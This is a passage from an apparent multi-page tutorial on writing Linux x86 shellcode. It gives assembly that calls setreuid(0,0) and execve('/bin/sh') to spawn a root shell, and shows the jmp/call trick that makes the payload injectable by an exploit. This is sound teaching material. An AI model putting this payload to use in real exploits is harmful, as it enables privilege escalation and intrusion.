How Shellcodes Work
Pages: 1, 2, 3, 4
Running a Root Bourne Shell from Shellcode
That was fun. Now it's time to translate the second program into assembly; one that executes setreuid() and execve() to run a root shell:
section .data
name db '/bin/sh', 0
section .text
global _start
_start:
; setreuid(0, 0)
mov eax, 70
mov ebx, 0
mov ecx, 0
int 0x80
; execve("/bin/sh",["/bin/sh", NULL], NULL)
mov eax, 11
mov ebx, name
push 0
push name
mov ecx, esp
mov edx, 0
int 0x80Most of this code is similar to the previous example except for the execve() function call. The same program segments are there, and the same execution method works for setreuid(). The second parameter of execve() is an array of two elements. It is reasonable to pass this through the stack, which first needs a zero value (push 0), and then an address for the variable name (push name). This is a stack, so remember to push parameters in reverse order--LIFO, or "last in, first out." When the system call pulls its parameters out, the first will be the name variable address, and then a zero value. A function must also know where to find its parameters. For that, this code uses the enhanced stack pointer (ESP) register, which always points to the top of the stack. The only other work is to copy the contents of the ESP register to ECX, which will be used as a second parameter when calling the 0x80 interrupt.
Eliminating Data Segments
That assembly code works completely. However, it is useless. You can compile it with nasm, execute it, and view the binary file in hex form with hexdump, which is itself a shellcode. The problem is that both programs use their own data segments, which means that they cannot execute inside another application. This means in chain that an exploit will not be able to inject the required code into the stack and execute it.
The next step is to get rid of the data segment. There exists a special technique of moving a data segment into a code segment by using the jmp and call assembly instructions. Both instructions make a jump to a specified place in the code, but the call operation also puts a return address onto the stack. This is necessary for returning to the same place after the called function successfully executes to continue the program's execution. Consider the code:
jmp two
one:
pop ebx
[application code]
two:
call one
db 'string'At the beginning, the program execution jumps to a two label, attached to a call to the procedure one. There is no such procedure, in fact; however, there is another label with this name, which obtains control. At the moment of this call, the stack receives a return address: the address of the next instruction after call. In this code, the address is that of a byte string: db 'string'. This means that when the instructions located after one label execute, the stack already contains the address of a string. The only thing left to do is to retrieve this string and use it appropriately. Here's that trick in a modified version of the second example, named shell.asm:
BITS 32
; setreuid(0, 0)
mov eax, 70
mov ebx, 0
mov ecx, 0
int 0x80
jmp two
one:
pop ebx
; execve("/bin/sh",["/bin/sh", NULL], NULL)
mov eax, 11
push 0
push ebx
mov ecx, esp
mov edx, 0
int 0x80
two:
call one
db '/bin/sh', 0As you can see, there are no more segments at all now. The string /bin/sh, which was previously in a data segment, now comes off of the stack and goes into the EBX register. (The code also has a new directive, BITS 32, which enables 32-bit processor optimization.)
